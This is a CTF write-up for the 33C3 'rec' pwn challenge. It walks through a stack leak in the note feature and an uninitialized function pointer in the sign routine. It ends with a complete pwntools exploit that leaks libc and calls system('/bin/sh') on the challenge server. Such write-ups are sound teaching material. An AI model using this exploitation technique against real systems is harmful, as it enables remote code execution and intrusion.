Category: pwn
Points: 200
32 bit ELF, with all the protection enabled.
program menu:
1
2
3
4
5
6
7
8
9
10
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
>
- Take note: input a note
- Read note: output the note
- Polish: do the
sum
operation or the elementary arithmetic (prefix expression) - Infix: do the elementary arithmetic (infix expression)
- Reverse Polish: do the elementary arithmetic (postfix expression)
- Sign: input a number and see if it is a positive/negative number
First we found that the Read note
function doesn’t work well:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV <-- WTF?
This is because the program use a stack address as the note
’s buffer. After we take a note and leave the function, the buffer will be filled with some (useful) addresses (due to the function epilogue). And because of this, we’re able to leak the stack address & text’s base address.
Now it’s time to try controlling the EIP. There’s a program logic vulnerability in the sign
function:
1
2
3
4
5
6
7
8
9
10
if ( num <= 0 )
{
if ( num < 0 )
v1 = (void (*)(void))puts_negative;
}
else
{
v1 = (void (*)(void))puts_positive;
}
v1();
It handles both positive & negative numbers. But what about 0
?
1
2
3
4
5
6
7
8
9
10
11
12
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1] 40091 segmentation fault (core dumped) ./rec
The reason why the program crash is because the program did not assigned a value to v1
(since it did not handle 0
), so when it ran to line v1()
, it will set the EIP to 0x0
and crash the program. Let’s check the assembly code:
1
2
0x56555d3b: mov eax,DWORD PTR [ebp-0x20] <-- &v1 = ebp-0x20
0x56555d3e: call eax
It shows that if we can control the value of [ebp-0x20]
, we’ll be able to control the EIP and hijack the program control flow.
I found that the stack frame of the sign
function is “higher” (or “lesser”) than the other functions. If we can’t “reach that high” in other functions, we won’t be able to control the function pointer.
After done some fuzzing, I finally found that in the Polish
function, if we do the sum
operation and keep entering number, the program will keep pushing number to the stack, making us able to “reach the height” and control the function pointer (and the parameters !) in the sign
function.
So here’s how we gonna exploit the service:
- Take a note & Read the note, leak the text’s base address
- Use
Polish
’ssum
operation to control the function pointer & the function parameter. We first set the function pointer toputs
and the parameter to__libc_start_main@got
(there’s no.got.plt
due to the FULL RELRO protection) - Goto
sign
function and input0
, it will callputs(__libc_start_main@got)
and gave us the libc’s base address - Repeat step 2, this time we set the function pointer to
system
and the parameter to “pointer to /bin/sh” - Goto
sign
function and input0
, callsystem("/bin/sh")
and get the shell
Here’s the exploit. The libc’s information are provided by libc-database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
import numpy
HOST = "78.46.224.74"
PORT = 4127
ELF_PATH = "./rec"
LIBC_PATH = ""
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
def take_note(note):
r.sendlineafter("> ", "0")
r.sendlineafter("note: ", note)
def read_note():
r.sendlineafter("> ", "1")
def polish_sum(nums):
r.sendlineafter("> ", "2")
r.sendlineafter("Operator:", "S")
for num in nums:
print "adding:", num
r.sendlineafter("Operand:", str(num))
r.sendlineafter("Operand:", ".")
def sign(num):
r.sendlineafter("> ", "5")
r.sendline(str(num))
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
take_note("123")
read_note()
r.recvuntil("note: ")
fptr_addr = u32(r.recv(4)) - 0x350 # where the function pointer be loaded
text_base = u32(r.recv(4)) - 0x6fb
puts = text_base + 0x520
lsm_got = text_base + 0x2fe0
puts_got = text_base + 0x2fd8
log.success("fptr_addr: "+hex(fptr_addr))
log.success("text_base: "+hex(text_base))
nums = [i for i in xrange(0x63)] + [puts, lsm_got]
polish_sum(nums)
sign(0) # this will call puts(lsm_got)
lsm_addr = u32(r.recv(4))
#########################################
#$ ./dump libc6-i386_2.24-3ubuntu2_amd64
#offset___libc_start_main = 0x00018180
#offset_system = 0x0003a8b0
#offset_str_bin_sh = 0x15cbcf
#########################################
system_addr = lsm_addr + 0x22730
bin_sh = lsm_addr + 0x144a4f
log.success("lsm: "+hex(lsm_addr))
log.success("system: "+hex(system_addr))
log.success("bin_sh: "+hex(bin_sh))
nums = [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
polish_sum(nums)
sign(0) # this time will call system("/bin/sh")
r.interactive()
The flag is in /challenge/flag.txt
flag: 33C3_L0rd_Nikon_would_l3t_u_1n
Comments powered by Disqus.